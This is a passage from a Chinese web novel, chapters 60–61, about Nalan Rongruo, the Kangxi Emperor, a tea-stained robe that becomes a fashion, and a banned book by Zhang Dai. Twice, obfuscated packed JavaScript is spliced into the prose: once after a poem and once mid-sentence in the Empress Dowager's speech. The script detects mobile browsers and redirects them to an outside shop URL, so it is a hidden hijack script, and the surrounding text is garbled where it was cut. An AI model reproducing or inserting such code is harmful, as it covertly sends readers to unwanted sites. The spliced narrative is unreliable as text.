【注1】小揆叙和小揆方给容若“送茶方”作为生辰贺礼之事,见第48章。 60.第60章 隔天。 国子监的诸生们的衣装上,准确地说是衣装靠近心脏左侧位置的部分,都染上了一晕淡褐色的茶渍,看上去却是一点都不俗气,有种“白衣覆落霞,夕烧漫天,可徐徐读书矣”的别致雅感。 其实不止国子监的诸生们如此,从京师的读书人开始,逐渐扩散到整个大清,这样的装束竟然以迅雷不及掩耳之势流行了起来。 究其原因,用李天馥李大人的话来说就是: “纳兰容若真公子也,一身简衣,半心惹茶香,人人效而行之,可见其‘天下人的纳兰公子’之实。侧耳相闻,吾亦翩然而往之、泼茶上身矣。” 消息传入明府之后,明珠立刻开了一场家庭小会议。 “儿啊,现在不单单是你的言行能够影响时局,包括你的穿着也事关天下文人的审美,你可要好好担起这榜样的力量啊!” “那阿玛还不如谢皇上呢,皇上不这么对我,我也没有‘泼茶染衣’之美,风靡天下。” “当时阿玛可是心脏提到了嗓子眼,生怕皇上把茶水往你头上浇。那你我父子颜面何在?纳兰家颜面何在?” “这倒不会,往人的头上浇水是侮辱,跟往人脸上泼水或是身上泼茶是不同的。后者叫做:情绪宣泄。” 明珠点头称有道理。 从先前的“君臣相争,儿子受委屈”,到现在的“纳兰公子,泼茶染衣,美甚”之传遍天下的佳言,容若也算是因祸得福、大大给纳兰家长脸了。 “老爷。”觉罗氏问,“不知何处而起的谣言,说你开销五万金给容若制作私服之事,可要拿出一个说法来,去堵住好事者们嘴?” “夫人不必多虑。”明珠淡定道,“造谣者有本事,就:去内务府叫管事的人把证据供出来、去江宁织造局叫负责人把官商勾结的把柄写成折子上呈皇帝、去我明珠府邸翻搜那套价值五万金的私服。” “额娘,我算了算,若是我编完《古抄本十二卷》之后,再主持编纂《通志堂经解》,那开销大致是四十万金。” 觉罗氏慈爱道:“皇上的龙袍一套的制作费用为二十万金,《通志堂经解》的编纂费用翻倍,额娘倒是觉得:天子的锦衣再华美,也不如‘学问之涯的无尽’来得好啊!” 容若道:“儿只是感慨:大数目的开销如果用对了地方,必定是有所值。为何在一些清官廉吏御史眼中,就扭曲生变成了:钱款来路不正,当疑当查。” “那些糊涂东西!”明珠指的是将来要借机弹劾自己的人,“他们哪里晓得‘成果的价值,远远高于四十万金’的道理?我儿容若所编修的《古抄本十二卷》和《通志堂经解》,于后世,意义不可估量啊!” 小揆叙道:“儿觉得,阿玛所积累的财富,虽是有部分游离在俸禄之外,但也是阿玛应得的。应将‘收人好处’和‘替人办事’二者分开看,前者是送礼人自发的行为,或结交或拜入麾下,少不得一些规矩;后者是阿玛自己心中的度,不可事事有求必应。” “你很是懂事。”明珠表扬了二公子一句,“我明珠就是把‘规矩’和‘人情’都分的清清楚楚,才有了今日的地位和今日的财富。” 小揆方道:“我们生活在这样的家庭环境之中,深谙各种道理,不以荣华为恋、不以安逸为乐、不以富家子弟为傲,皆是因为阿玛和额娘教导有方,容若哥哥以身作则。” 明珠夫妇看着三个儿子,心中颇感欣慰。 有三个儿子孝顺和明理至此,夫复何求? * 国子监。 一身“正派”官服的徐乾学,见到了一身“异类”闲服的李天馥。 徐乾学指着李天馥的衣服问:“李大人,你这是成何体统啊?” 李天馥冷讽道:“徐大人,你说你天天戴着官帽、挂着朝珠、穿着官服、蹬着官靴是为什么呢?提醒自己记住官位的责任,还是拿出官威来震慑别人?” 徐乾学正色道:“你我都是朝廷命官,怎可以在衣装上随随便便?” “如今徐大人是看到了,纳兰性德出尘不染,灵逸天地,容不得谁反驳这一点。国子监的规矩以后该改改了,我们这些做先生的,也应穿一身‘泼茶’的闲服。” “李大人你如今,是被纳兰性德‘相貌’和‘衣服’误导的连作为朝廷命官的衣冠礼仪都不知道了。” 徐乾学一拍官服上的“灰尘”,大声纠错道: “纳兰性德现在能泼茶染衣,哗众取宠,成为最热门的话题。日后他要是干出对孔圣人的治学之道大不敬的事情来,比如:看私书写艳词、盗名章称己出、赏己貌荒于殆而天下共,国子监诸生和天下读书人,是不是也要有样学样啊?” “哎呀!”李天馥大叫一声。 “做什么——”徐乾学浑身抖了一激灵。 “贵公子要是变成那样,他的老师岂不是能被皇上砍了脑袋?” “与本官何干?”徐乾学搬石砸腿,气的够呛,“本官是给贵公子上课,不是教贵公子如何做人。” “好自为之啊,徐大人。” 李天馥拍了拍徐乾学的肩膀,就前往课堂给诸生们上课去了。 * 次日,书房之内。 玄烨没能把纳兰留下的那几道天文学算术题解出来。 “万岁爷,您可别把自己逼的太紧了。”顾问行把一盏茶放到皇上的右手边,“有些题目,得缓一缓才能有思路。” 玄烨不满道:“纳兰是故意刁难朕!” “这话从何说起?纳兰公子的题目,又不是万岁爷您一个人在解,他的两个弟弟也不一定解的出来。请了万岁爷的意思,可要去钦天监找南怀仁南大人过来一同参详参详?” “朕的脸面还要不要了?”玄烨把列了式子的稿纸揉成一团,往地上一扔,“朕亲口说过,有何难?朕一人能解!” 皇上不能劝只能伺候,顾问行提议:“那万岁爷您接下来,是接着解题?还是去别处放松心情?” 玄烨一摆手,把题纸挪到了一边。 目的性很强地一问:“纳兰在干什么?” 顾问行答道:“公子与国子监的诸生一同,跟着李天馥李大人一同去登高了。” “他是自在了,看看风景,吃吃‘香酥炸腰果’,抒怀大论,吟诗作对,这一天也就过去了。”玄烨气不打一处来,“可朕呢?” “回万岁爷,是:香酥炸板栗。” “以太皇太后的名义,把‘香酥炸腰果’赏到明珠府上去!” “奴才……”顾问行打了自己一嘴巴,“这就去办。” 这时候,有人来报,说是曹寅曹侍卫和禹之鼎禹画师求见。 玄烨一笑,终于有人来谢恩了,“叫他俩进来。” “臣曹寅/禹之鼎,参见皇上,皇上万岁万岁万万岁。” “平身。” 禹之鼎鞠躬道:“臣谢皇上解围之恩。” “说到底,还是你的知名度不够大的缘故。”玄烨指出,“不然谁会不认识你?这样,朕先给你安排一个预差事,画《康熙皇帝神勇平藩图》,到时候朕让你凭借此图扬名天下。” “恕臣直言,皇上您要是自称‘三爷’走在大街上,也没人认得您就是当今天子。” “那朕就跟你打个赌,看看到时候是认得朕的人多,还是认得你和曹寅的人多。” “皇上不提纳兰吗?” “那家伙还有谁不认识吗?从‘深入人心’到‘人人效仿’,朕身边养的是什么?大清第一陪臣还是大清第一名臣?”伴着一声冷笑,玄烨话锋一转,“朕是指有名的名,不是功名的名。” 曹寅耳里听着皇上和禹画师的对话,心中却是回想起了那日去“救好友”的事。 事情的经过,是这样子的—— 衙门里的长官听见有人击鼓报官,就马上升了堂。 一见被带进来的是一个其貌不扬的年轻人,看着那人要背景没背景、要出息没出息、要好处没好处的样子,就先一步在心里认定了那人有罪。 “堂下之人,报上名来。” “我是康熙皇帝的御用画师禹之鼎。” “大胆!”官老爷一拍惊堂木,“胆敢藐视本官官威不称‘草民’不算,还敢冒充大清第一人物肖像画画师禹之鼎,可知道该当何罪?” 禹之鼎毫不畏惧:“大人要是不放了我,就等着被皇上治罪吧!” “来呀——”官老爷一扬手,下令道,“给本官将眼前这狂妄之徒掌嘴十下,再没收了他私刻私仿的‘禹之鼎专用印章’,让他知道对皇上身边的御用之人不敬是什么下场。” 曹寅就是这时候赶到的,跟着他一起来的,还有他的上司,皇上身边的一等侍卫布哈泰。布哈泰亮出皇上的令牌表示了自己身份之后,就对那官老爷证明了禹之鼎的“如假包换”。 官老爷一惊,慌忙对着天子所在的方向磕头,称自己有眼无珠不识得天子身边人,然后就马上叫人把禹之鼎给放了,并且给了生事的字画店老板和买家每人各十大板。 禹之鼎平安出来后,惊然道:“我以为这事皇上不会管,我是豁出去了才说自己要见皇上的。” 一等侍卫布哈泰道:“皇上跟禹画师、曹侍卫、纳兰公子三人的关系非同一般,自然不会见死不救。虽说禹画师你还没到死的地步,但是一通刑罚下来,怕是你这能作画、擅作画的手就毁了,皇上就算为了自己的‘神勇形象’和‘明君肖像’画轴考虑,也会一直保你周全。” 禹之鼎无事返回如意馆,布哈泰回去给康熙皇帝复命,这次的“宫廷画师被刁民误会”之事也就算是过去了。 * 禹之鼎和曹寅都退下后,玄烨叫了梁九功上前。 “人人效仿纳兰,泼茶胸前为雅,殊不知这是朕的功劳!” “万岁爷,奴才没有别的本事,就是敢说真话。”梁九功低头道,“奴才以为,虽然这事往了好的方向发展,但是您对纳兰公子……还是做的太过了。” “朕不知道‘茶水洒心间’时,纳兰是什么感受。但是朕看他穿的素,却是觉得莫名心疼,不知道他是何意?” “奴才斗胆猜测:纳兰公子日常除了完成学业上的事情,就是呕心沥血地编书。编书开销可大着呢,像是:寻考的人工费、集典的汇成费、刊校发行的印刷费……全是少不得的。纳兰公子莫不是垂范律己,在省钱?” “原来,他是不想在开销上成为明珠的负担吗?” “公子一人定是拿不出那么多钱来,奴才只怕——” “大胆说,朕恕你无罪!” “只怕明珠大人拿出大笔钱财来帮助公子著书立说之后,朝中又会响起一片弹劾之声啊!奴才不懂朝政,只晓得朝中有些人就是跟钱过不去,眼中容不下明珠大人积攒了大量财富。” “梁九功。” “奴才在。” “你退下,让朕好好想想——” * 登高处,春光一片明媚。 国子监诸生都觉得,能跟随大儒李天馥和公子纳兰性德同游,是莫大的喜事。 徐乾学原本也想跟着去,终究是被弟弟徐元文给劝住了。 徐元文道:“兄长你这一去还了得?纳兰性德在登高处的情怀一旦流露,莫论悲欢,是你消受得起的吗?” 徐乾学这才做了罢,气恨恨道:“我还算是纳兰性德的老师吗?” 山顶处,众人铺席而坐。 清风来,众人解襟而歌。 先生李天馥在众学生面前,做了《春日登高赋》,字里行间,行云流水,情景交融,可堪是一篇大作。 在几位学子拿着自己准备好的文章出来诵读和接受大家的讨论之后,索额图的次子格尔芬也发表了一篇诗作,名叫《望野古》。 包括容若在内,无人晓得“野古”二字是何意,却只见格尔芬快意非常、昂首挺胸道: 自古残垣多悲凉,我言断壁不负霜。 马革后走班师日,虎狼前驱拓边疆。 四面银涛竟相涌,八方叠翠战旗镶。 开险临高萧瑟处,疑似秋影换春章。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728618|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——好一幅霸气的画卷、好一派激昂的大场面。 ——好一个新奇的转换、好一首难解其意之作。 众人皆是大惊。 竟不晓格尔芬此诗,是自创了典故?还是用了连李先生和纳兰公子都不知道典故?来显摆“深不见底”的学问。 “索公子奇才啊!”李天馥不由得一赞,“此诗之清奇,闻所未闻;表现手法之独特,空前绝后。一言蔽之,乃是本官这辈子当中第一次见识。” “李先生谬赞。”格尔芬以读书人的姿态回礼道,“学生只是小试牛刀,不足以概论这一身才华。” “索公子的意思,莫非是自身还怀抱着更高的造诣和抱负?”李天馥快步上前,打量着“人才”道,“何不趁着今日,一并施展,让大家来佩服和认可?” “学生的纨绔之名虽是人尽皆知,但是学生在学问上却是没有马虎过。平日里去家门外的‘文兴馆’学习,博览群书,辨古识今,倒也掌握了不少本领。学生这满腹的才情,唯有纳兰兄相知!” 容若半歪脑袋,心想:我到底是知……还是不知啊?哪怕是这个自问,我也不知道啊。 李天馥向诸生道:“人不可以评判论,获取名声皆看真本事。今日索公子的才学让本官大开眼界,想来今后,索公子不在依靠家族势力拿下爵位、得过且过,而是像纳兰公子一样,走正经的仕途路子来考取功名,岂非是‘明索两党’之幸?本官作为两位公子的堂学先生,也算是造福大清了!” 容若上前,友好问:“格尔芬,你考功名吗?跟我一样今载就考,还是跟同窗们一样三年后再考?” 格尔芬一身赤胆,炎炎自信道:“考,跟纳兰兄一起考!” 李天馥大喜,恨不得即刻飞奔到养心殿,把这件大事回禀给康熙皇帝。 国子监诸生皆为两位公子的“交情”和“榜样力量”所感动,提前鼓掌相贺,共唱《踏槐壮志歌》和《人镜芙蓉曲》,效仿古人做法、对二人“献上了”深切期待。 之后,容若拿出了自己亲手调配的茶方来与大家一起分享。 师生们高谈阔论,饮到尽兴之处,格尔芬再次“挺身而出”,说自己已经成诗在胸,要当着大家的面,一吟为快。 众人问:索公子,诗名是什么呀? 格尔芬道:简单明快,直截了当,《春日登高·共容若公子茶事所感》。 晚风开帘醉流霞,早起登高啖清茶。 风光处处歌声发,明燕双双筑巢家。 不与浮华争明媚,只身简衣却适他。 蓦然心事上头来,几人识得杯中杂? * 深夜,明府,长公子房间,无灯。 唯剩月色如水,铺满雅室。 沈宛来到容若床边,轻声唤醒了睡着的他:“公子,是我,你的宛卿。” 容若的睡眠本来就浅,浅到夜风经过也能将他唤醒的地步,所以面对旁侧的她,他觉得如风,不惊讶。 “公子别起来,我就要这样守着公子说话。” “月亮一直在移位,这会儿看到的,已经不是逆光的宛卿的脸了。” 容若伸手,轻轻抚过沈宛的脸,小赠她一首即作诗: 微凉小含温,玉颊衬樱唇。 相思牡丹味,衔琢月一轮。 “公子为我的词作命名为《选梦词》,我看当下人人将衣服的胸前左侧染茶,以求跟公子一样的风雅和品味,不如公子把自己的作品合编为《泼茶集》如何?” “这可不好。”容若淡笑,“用你们的汉话来说,听着像是《破茶几》,破浪的破,家具的茶几。” “那公子想叫词集做什么名字?” “《侧帽集》。宛卿你说,现在我被大家模仿的‘泼茶染衣’之雅,跟:北周的独孤信侧帽打马而归,引人惊艳,满城男子效仿,相比如何?” “独孤信风流自赏,公子你谦谦自知,大为不同嘛。” “我要是把《泼茶集》作为词集的名字,皇上反应过来,肯定会叫我改,因为那茶水是皇上泼的。” “公子要是不说,没人知道是皇上呀!大家都以为是公子在温书的时候,凝神过度,碰洒了茶水也不知。” “大家这么想,我就放心了。”容若带着谨慎,“但对我而言,多一事不如少一事,叫《侧帽集》的好。那样一来,皇上明白我的用意,却没法对我找茬。” “《侧帽集》也好听,只是可惜了公子不风流。” ——独孤信成典故:风流侧帽。 ——往后纳兰容若也能成典故:泼茶染衣。 这哪能对比呢? 即便是比了,也不尽是“打成平手”或者“必出胜负”,独孤信有独孤信的倜傥傲气,纳兰容若有纳兰容若的风雅意气罢了。 “宛卿在笑我?” “公子不也在笑自己吗?” 两人一对眸,相互温笑,温馨的就跟是夫妻一般。 容若和沈宛一起为自己的词集命名,而等到《侧帽集》出版,却是几年之后、他二十四岁之时的事情了。 “我阿玛的政敌索额图的次子,给我写了一首诗。” “我高兴的很,除了宛卿以外,也有人给我写诗了。虽然我不解其意,但是心中存着一份真挚感和难得感,挥之不去。这件事我只能告诉宛卿,在谁面前都没法说。” 沈宛坐到了容若床边,半抱容若在怀中,她低头看着他。 她知道,公子是孤独的,任何人任何举动、只要是触动了他纤细的心弦,让他觉得“有人待自己好”,他就会小心翼翼地珍惜。 容若在沈宛怀中再次睡了过去, 等到自然醒来,佳人已去。 他叫了一声:“袖云,帮我更衣,我有《食谱》要写,写完再去给阿玛和额娘请安。” 袖云从外面进来,“公子是说有什么要写?袖云只怕是自己听岔了,将‘词谱’听成了‘食谱’。” “你没听错。”容若朝她一笑,抱着一副新奇的心思道,“我要写的是《食谱》。” 61.第61章 明府。 厨房按照容若的吩咐,终于把张岱在《陶庵梦忆》中言及的一道点心:带骨鲍螺,给做了出来。 餐桌上。 明珠道:“皇上要是以为你爱上了吃‘鲍鱼’和‘海螺肉’,你要怎么解释?别在阿玛面前提‘张岱’和他的书!” “儿也是觉得奇怪,为什么这么好吃的一道甜点,要用那么离谱的名字。” “是啊,”觉罗氏疑惑道,“这东西哪里有骨了?” 容若描述起来—— 需要先将奶酪、蜂蜜、蔗糖一起浓缩成浆、拌匀,然后等其凝固,装入软裱袋中,顺时针绕圈,从下往上满满挤,直到成型似一朵含苞待放的菡萏位置。 底圆上尖,螺旋纹清晰,尝起来口感清甜冰凉,极易融化。 用料稀少,制作甚艰难,非钟鸣鼎食之家能尝,是为绝品。 小揆叙问:“我懂了,就是形状像海螺对吧?” “可以这么说。”容若笑着分享了张岱在书中的一段描述,“玉液珠胶,雪腴霜腻,吹气胜兰,沁入肺腑,天下至味。” 小揆方小声道:“容若哥哥,你好像惹阿玛生气了。” 容若一看明珠的脸色,果然如此。 “儿不敢瞒阿玛,儿给皇上讲述了《夜航船》当中的部分内容,皇上听着挺感兴趣,就是算术题未解出来。” 明珠大惊:“你怎么能给皇上出题呢?” “是儿提及了家事,皇上自己要题目的。” “你——”明珠毫无预兆地一拍桌子,把一家人都吓了一跳,“是不是太低估皇上的脾气了?” “儿不懂,皇上未能解题,与儿交流讨论就是,至于发脾气吗?” “到时候皇上一怒,下令把张岱的《夜航船》列为禁书,容若你就是那些前明读书人的眼中钉,仔细那些肩负‘士人义气’的狂徒时时想取你的性命!” “那是皇上的错。”小揆叙挡在长兄面前,“阿玛您怎么能怪到容若哥哥头上?” “糊涂!”明珠对着二公子一训,“阿玛是在怪你长兄吗?敢说天子的不是吗?阿玛怪的是写出一堆‘心怀不轨’和‘误我儿心智’之书的张岱!” 觉罗氏道:“容若,张岱的书你就别看了,皇上那边你自己主动去圆个答案,额娘看这事也就过去了。” “他这不是已经把书里的内容记下了吗?”明珠没好气道,“你儿子过目不忘、融会贯通的本事,在天下读书人眼里堪称一绝。” 容若心平气和问:“那儿请了阿玛的意思,如何是好?” 明珠捋了捋胡须,道:“阿玛现在给你两条路。” “第一,你自己去慈宁宫找老祖宗,就说是张岱自己找到了你、让你去看他的居心叵测的书作的,老祖宗疼你,自然会给你善后;第二,你去向皇上谢罪,就说那些算术题是自己写着玩的,压根无解,叫皇上不必深究答案。” 揆叙和揆方同时道:“回阿玛话,我们都解出来了。” 明珠对二公子和三公子一瞪,点醒道: “皇上解不出来,一冲动就容易下禁书令,你俩是巴不得那些‘前明壮士’来取长兄容若的性命是吗?” “敢问阿玛,还有第三条路吗?” 容若小叹一口气。 “你还敢叹气?”明珠的脸上,愠色渐浓,“阿玛早就警告过你,天底下不是什么书都能看的,你可是自己在闯祸啊!” * 回到房间,容若躺在长榻上,只管把袖云端来的果切搁在一旁。 “我原本以为,登高回来后运气会好一点,但是仔细把阿玛的话想了想,当真是错在自己。” “公子你不能把错往自己身上揽。天子有天子的脾气,老爷也只是做了最坏的设想,他在心里还是最疼惜公子的。” “以后我定要写出一部比张岱先生的《夜航船》还全面、还出名的《渌水亭杂识》来,包罗万象,让书中的内容正大光明地成为天下人的谈资。” “公子有这份心真好。”袖云站在容若身边,“公子写出来的通识书,定是把各方面的内容都涵盖进去了的,还包括佛学。” 容若坐了起来,“我自己把计划一编排,就知道要做的事情有许多,一步一步来,总能做好、总能完成。” “公子这么年轻,却是在做着有一定岁数和阅历的大儒们该做的事,袖云只觉得公子的心境如水平静、透彻似镜。” “袖云你跟了我许久,便是知道我在勤学上面几乎没有喘息过,身上背负了太多重担和父母的期望,然而这些都不是压力,毕竟我好读书、乐在书中。我所憾的……是我这副身子骨能扛多久、能扛到什么地步。” 容若觉得自己不该说伤感的话,好似被别人担心就是在犯错一样。 但是身子骨却又是感到累乏,呼吸之间,并非顺缓。 “袖云,我跟你说些有趣的事吧!” 容若掩着倦乏,露出元气的神色,叫侍女坐着听也无妨。 “张氏之人,擅长杂学也是说的通的。就好比是唐代的张继,写《枫桥夜泊》扬名天下且为日本天皇所赏识张继,他就当过一个叫做‘书学’九品官,‘杂学’研究就是从他开始的呢!在这之后,‘杂学’就成了一道专门的学问,生生不息。在前明王朝有许多知识分子在研究,张岱先生肯定也是其中之一。” “说到日本天皇,根据我的考证【注1】,‘大唐街’的确是始于唐朝、由漂洋过海的大唐子民在东瀛国所建,长十里。可是张岱先生在他的杂学书中说:‘大唐街,乃是东瀛之人为大唐子民所建,商贸交易,从早至晚,络绎不绝,长百里。’这一点,我定要在《渌水亭杂识》当中附上凭据来纠正他。” 袖云笑道:“公子精于天文和算数,一眼就是知道‘长百里’是个常识性的谬误。但若是这谬误是张岱先生故意制造,只为多引谈资,公子且不是上钩了?” “不是故意写错,而是刻意误导。”容若摇了摇头,“我很清楚前明士人们的性格,他们把国威看的很重,所以把国家和外夷放在一起比较时,无论以哪个王朝为背景,都爱刻意夸大国土的影响力。当然我并不是说这不妥,而是本着严谨治学的态度,我认为自己有必要在《渌水亭杂识》中做出说明罢了。” “那公子觉得书成以后,皇上是信你、信张岱,还是都不信?” “皇上信云辞格格最好。”容若忽然会心一笑,“云辞格格喜欢西洋文化和异邦文化,由她去日本考察然后回来报个确数,最能有力证明谁对谁错。” “公子喜欢云辞格格吗?” “为什么这么问?” “单纯是想知道公子的心思罢了。” “我答应过禹画师,不会夺他所爱娶了关氏。但要说到心意嘛,我觉得自己和云辞格格之间倒是微妙地存在着几分。” 容若偏头半避月光,倚着长榻上的方形扶手歇了过去。 袖云转身去取了公子专用的蚕丝软被过来,盖在公子身上,细心陪伴。 * 第二天。 容若不得已走了明珠给出的第二条路子,一早就进宫去,打算告诉皇上那道题“无解”。 却没想到,皇上不在,只有顾问行顾总管的徒弟在当值。 容若听见梁九功梁公公道:“公子有所不知,昨日万岁爷发了火,下了一道命令,将张岱的书作《夜航船》列为禁书了。” “糟糕,我来晚了。” “公子千万挺住了,奴才还要多说一句话,万岁爷禁书的理由,是……是:古今第一祸国殃民的段子手张岱,多著异书,有碍大清第一才子纳兰性德的思想纯粹和行文端正。朕下令将张岱所写之书禁之,以醒天下学生。” “糟糕,我真成众矢之的了。” “公子,您先候着,万岁爷跟皇后娘娘一同去内务府视察给太皇太后的圣寿贺礼了,要晚些才能来养心殿。” “糟糕,我先去慈宁宫向太皇太后请罪。” “公子,公子……” 梁九功连叫了几声,都不见纳兰回头,不由得惊出一身冷汗来。 ——这可如何是好? 梁九功扪心自问。 思前想后,越来越不安,他就直奔了内务府去,打算先把事态告知总管大太监顾问行再说。 * 内务府。 里面一片热闹,给太皇太后孝庄置办的圣寿礼品,摆满了一间特设的小阁。 康熙皇帝和赫舍里皇后一同,边听办事官僚的汇报边决定选什么好。 顾总管跟在帝后的后头,仔细记下了帝后的吩咐。 就在此时,梁九功匆匆而来,拼命用眼神暗示:干爹啊,您再不过来的话,徒弟我怕是真要成了“今年养心殿内第一个掉脑袋”的太监了呀! “干爹,出大事了!” “你不好好在该呆着的地方当差,来这里干什么?”顾问行看着上气不接下气的梁九功,“能出什么大事?” 梁九功好不容易理顺了气,道:“纳兰公子得知万岁爷把《夜航船》列为禁书之后,心灰意冷,连说了三回‘糟糕’,这会儿公子正主动去老祖宗那里领罪呢。” 顾问行大惊:“这还了得?” 梁九功一抓顾总管的手腕,求助道:“就是了不得,奴才方赶紧地过来找干爹您拿主意呐。” 顾问行果决道:“你跟着我一同去找万岁爷,把纳兰公子的反应如实给万岁爷回话。” “是。” 顾问行来到玄烨身边,做出请“皇上借一步说话”的样子,道:“奴才的徒弟有话要给万岁爷回。” 玄烨看向梁九功:“何事?” 梁九功在玄烨耳边道:“奴才该死,把万岁爷您以纳兰公子为由而下令禁读禁传张岱作品一事,完完整整地说出去了。奴才瞧着纳兰公子的神色,不太好啊!” 玄烨一惊,然后怒斥道:“梁九功,你是不要脑袋了吗?朕现在就成全你!” 梁九功一跪,磕头道:“奴才的脑袋万岁爷过后再砍不迟,还是纳兰公子要紧啊!公子往太皇太后那边去了……” 玄烨指着梁九功,忍着没有踹他一脚。 ——这才过了几天呢? 玄烨想到了顾总管的提醒:“万岁爷,您的陪臣需要您的保护。” 那时自己还信誓旦旦地说:“朕有办法。” 当下竟然一下子应了验,真来了危机,可是朕没办法啊! “禁书之令”下了就不能收回,朕的纳兰不会真的被推崇张岱的激愤“前明壮士”给刺杀了吧? “愣着干什么?”玄烨指着顾问行师徒,“朕和皇后一同去慈宁宫。” “是,臣妾陪着皇上。”赫舍里牵住玄烨的手,稳住丈夫的阵脚道,“一切会迎刃而解的。” * 慈宁宫。 “纳兰性德,给太皇太后请安。向太皇太后请罪。” “孩子,起来说话。”孝庄对纳兰招了招手,“坐到老祖宗身边来。” “是。”纳兰起身上前,“谢老祖宗。” 孝庄对纳兰很是疼爱,一点不想听纳兰的自责之言,只拉着他的手,放在自己盘着念珠的温暖掌心中,让他安心。 “老祖宗啊,不想问你哪里错了,而是想问你打算怎么办?” 纳兰想了想,道: “我要是主动采取措施自救,就相当于告知天下的读书人,皇上做错了;我要是乖乖回家坐以待毙或是提心吊胆地等人保护,就等于我真的是个敌对汉人之学的罪人。” “所以我想,这事还得是有份量和有威望的汉人大臣站出来,为皇上说上一番圆的上号的话出来才行。我的老师徐乾学,在汉人心中颇有口碑,要是老祖宗能够敲击敲击他,让他为学生纳兰性德正名,那我相信自己就不会落入四面楚歌之中。老祖宗觉得好不好?” 孝庄点头道:“你经过思虑的想法,自然是有你的道理。” 纳兰在太皇太后慈祥的神色中,应道:“是。” 孝庄拿出事实问纳兰:“孩子啊,你应该知道老祖宗因为你祖王父多尔衮的缘故,忌讳文人张岱,你为何不但自己看张岱的书,还跟皇上分享书中所得?” “请老祖宗原谅。”纳兰低头,“我读书兴趣广泛、多方渴泉,所以看了张岱先生的书;因此也让皇上有所涉猎、给皇上出了天文学算术题,使得皇上因为解题不顺而迁怒于书作《夜航船》且下了禁书令,是我的错。” 纳兰补充道:“我光顾着跟皇上分享自己打开的眼界了,没有考虑到皇上的真实感受和可能会有的后续行动,是我处事欠妥。” “难道皇上就一点错都没有吗?”孝庄反问,“他刻意让你变成‘前明士人’的憎恨对象,说白了不是因为他心虚和没有底气吗?玄烨,霸气的外在底下,是一颗怕输的心啊!” “我明白。”纳兰显得通透,“所以得知事情之后,我想的是为皇上解忧,而不是:斥问皇上为什么拿纳兰做挡箭牌?这么做之前为什么不跟纳兰商量?在老祖宗胡说和栽赃张岱,说张岱写书之目的就是为了误导纳兰、让老祖宗您为纳兰善后。” “我是替皇上庆幸啊!”孝庄拍了拍纳兰的手心背,表示肯定,“幸好皇上身边的是你。孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732375|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,于公于私,你都无可替代。” “苦了你,这回是皇上做的不妥当。” “皇上的话就是圣旨,不管是谁都要照办。如果收回成命,就会叫想挑衅皇权的人有机可乘,不利于龙椅安稳。为了皇上的皇权不被颠覆,我受点苦不算什么。” 孝庄对掌事宫女道:“苏嬷嬷,你去把皇上给我叫来!” 苏麻喇姑问:“回老祖宗,皇上今日往内务府去了,专门为您挑选圣寿的贺礼呢。” “皇上要是能让我这个皇祖母省点心,我也算是能过个舒心的圣寿了。”孝庄声线镇稳道,“我从皇上还是这么高时候——” 孝庄伸出手来一比,“就开始管束他,教他怎么当好大清的掌舵人。如今看皇上做事越来越随着性子,我是一面盼着他能够有所改变、一面反思自己做的不够啊!” 苏麻喇姑问:“老祖宗是为皇上付出最多的人,怎会做的不够?” “就是因为付出太多,才造成了皇上今日的性格啊!”孝庄话里有话,“皇上会如此,何尝是因为身边有纳兰?更是因为我这个皇祖母把江山和政绩、霸业与雄心、君道和君行,对他灌输的太过……” 苏麻喇姑才走到门口,就看见了匆匆而来的玄烨和赫舍里皇后的身影。 她也不好多说什么,只按着礼数把皇上和皇上往殿内引。 * 玄烨踏入慈宁宫正殿,见纳兰坐在孝庄身边,紧张的心情瞬间放下了一半。 “孙儿/臣妾给太皇太后请安。” 孝庄用眼神示意赫舍里皇后到一边坐下,然后对玄烨罚道:“皇上,你就原地站着。” 玄烨双手一垂,应了一声:“是。” 孝庄责道:“皇上一面笼络汉臣、让汉臣笼络汉人,另一面就把汉人的著述给禁了,失信于人如何为君?” 玄烨这回倒是没把责任推卸在纳兰身上了,而是向孝庄认了错。 “孙儿因为解不出天文算术题而生气,所以禁了张岱的《夜航船》,这倒是其次。天下之汉人不可胜数,其中多有玩弄文字之辈、欲结党为恶,蛊惑人心,敌对大清。孙儿拿张岱来开个禁书的先例,就是为了警告那些自作聪明的汉人士人们:不要妄图‘以笔’来与大清做对。” 纳兰起身,站到了玄烨身边。 “臣明白皇上的意思,汉人之中,可用之人和衷心之人,已经归于朝廷;剩下的隐逸之人和张狂之人,是两个极端,不肯向大清低头、也不愿被朝廷招安,只想着以文明志、以嘴正骨气。是时候让那些人闻风而动了,他们一旦为张岱出头,朝廷正好能把暗处和显处的危险分子都一网打尽。” “对,朕就是这个意思。”玄烨看着孝庄,“朕不是刻意牺牲纳兰的安危,而是为了时局考虑。” 玄烨发心道:“孙儿以为,国家文治,应以推广经学为主,那些三教九流、杂学不粹之书,可留而不可大范围传播。” “孩子。”孝庄趁机问纳兰,“你可愿意担负起整理、修订、编撰经学的重任啊?” “回太皇太后,愿意。” 纳兰对前景如此规划道: “臣有这样的打算:在参加科举之前,编完《古抄本十二卷》。等到考取功名,入对应官职之后,与同僚们一起为翰林之事。” “另外,臣还下定了决心,在自家编写《通志堂经解》和《渌水亭杂识》,以正经学之正道和正杂学之理据。” ——纳兰不可以入翰林!考了第一名也不许! 玄烨在心中嘶吼出这么一句话来。 在玄烨看来:纳兰只能留在身侧,相伴相随,放什么位置去当什么官都不合适。 孝庄问:“皇上在想什么?” 玄烨一看身边人,道: 